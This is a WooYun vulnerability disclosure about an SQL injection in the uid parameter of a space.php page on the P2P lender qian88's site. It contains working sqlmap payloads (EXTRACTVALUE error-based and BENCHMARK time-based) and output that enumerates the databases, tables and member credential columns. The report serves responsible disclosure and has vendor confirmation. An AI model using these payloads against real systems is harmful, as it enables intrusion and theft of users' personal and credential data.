当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153827

漏洞标题:P2P金融安全之钱爸爸sql注入漏洞(66W会员信息泄露)

相关厂商:深圳市钱爸爸电子商务有限公司

漏洞作者: Nelion

提交时间:2015-11-17 09:43

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-17: 细节已通知厂商并且等待厂商处理中
2015-11-20: 厂商已经确认,细节仅向厂商公开
2015-11-30: 细节向核心白帽子及相关领域专家公开
2015-12-10: 细节向普通白帽子公开
2015-12-20: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

p2p金融钱爸爸(https://www.qian88.com/)存在sql注入漏洞。

详细说明:

1、注入点:

http://space.qian88.com.cn/space.php?uid=272104&do=wall&view=me


Parameter: uid (GET)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause (EXTRACTVALUE)
Payload: uid=272104 AND EXTRACTVALUE(3444,CONCAT(0x5c,0x716b706b71,(SELECT (
ELT(3444=3444,1))),0x716a786b71))&do=wall&view=me
Type: AND/OR time-based blind
Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
Payload: uid=272104 AND 2405=BENCHMARK(5000000,MD5(0x567a4850))&do=wall&view
=me
---
[12:50:41] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.1


漏洞证明:

2、所有的数据库:

available databases [4]:
[*] information_schema
[*] jituanwang
[*] qianbaba
[*] test


3、当前库qianbaba的表(表太多就截些数据多的):

Database: qianbaba
+-----------------------------------+---------+
| Table | Entries |
+-----------------------------------+---------+
| pre_home_notification | 1435411 |
| pre_home_friend_request | 813189 |
| pre_common_credit_rule_log | 677829 |
| pre_ucenter_memberfields | 668498 |
| pre_ucenter_members | 668498 |
| pre_common_member_count | 655245 |
| pre_common_member_field_forum | 655245 |
| pre_common_member_field_home | 655245 |
| pre_common_member_status | 655245 |
| pre_common_member_profile | 655244 |
| pre_common_member_newprompt | 655198 |
| pre_common_member | 484364 |
| pre_strayer_url | 259710 |
| pre_common_onlinetime | 95170 |
| pre_strayer_article_content | 83678 |
| pre_strayer_article_title | 83677 |
| v9_keyword_data | 61404 |
| pre_common_member_action_log | 55602 |
| pre_forum_post | 52617 |
| pre_common_district | 45051 |
| pre_forum_threadpartake | 35800 |
| pre_plugin_autoreply_ref | 35582 |
| v9_collection_content | 34262 |
| v9_attachment | 33169 |
| v9_attachment_index | 31146 |
| v9_hits | 28532 |
| v9_search | 28484 |
| v9_news_data | 28027 |
| v9_news | 28003 |
| uchome_creditlog | 26988 |
| v9_collection_history | 24793 |
| pre_forum_attachment | 19880 |
| pre_forum_thread | 18155 |


4、表pre_ucenter_members的字段:
Database: qianbaba
Table: pre_ucenter_members
[12 columns]
+---------------+-----------------------+
| Column | Type |
+---------------+-----------------------+
| email | char(32) |
| lastloginip | int(10) |
| lastlogintime | int(10) unsigned |
| myid | char(30) |
| myidkey | char(16) |
| password | char(32) |
| regdate | int(10) unsigned |
| regip | char(15) |
| salt | char(6) |
| secques | char(8) |
| uid | mediumint(8) unsigned |
| username | char(15) |
+---------------+-----------------------+
5、再dump点数据看看:

01.png

修复方案:

参数过滤

版权声明:转载请注明来源 Nelion@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-11-20 16:41

厂商回复:

感谢白帽子Nelion提交的漏洞,已转交技术人员处理。

最新状态:

暂无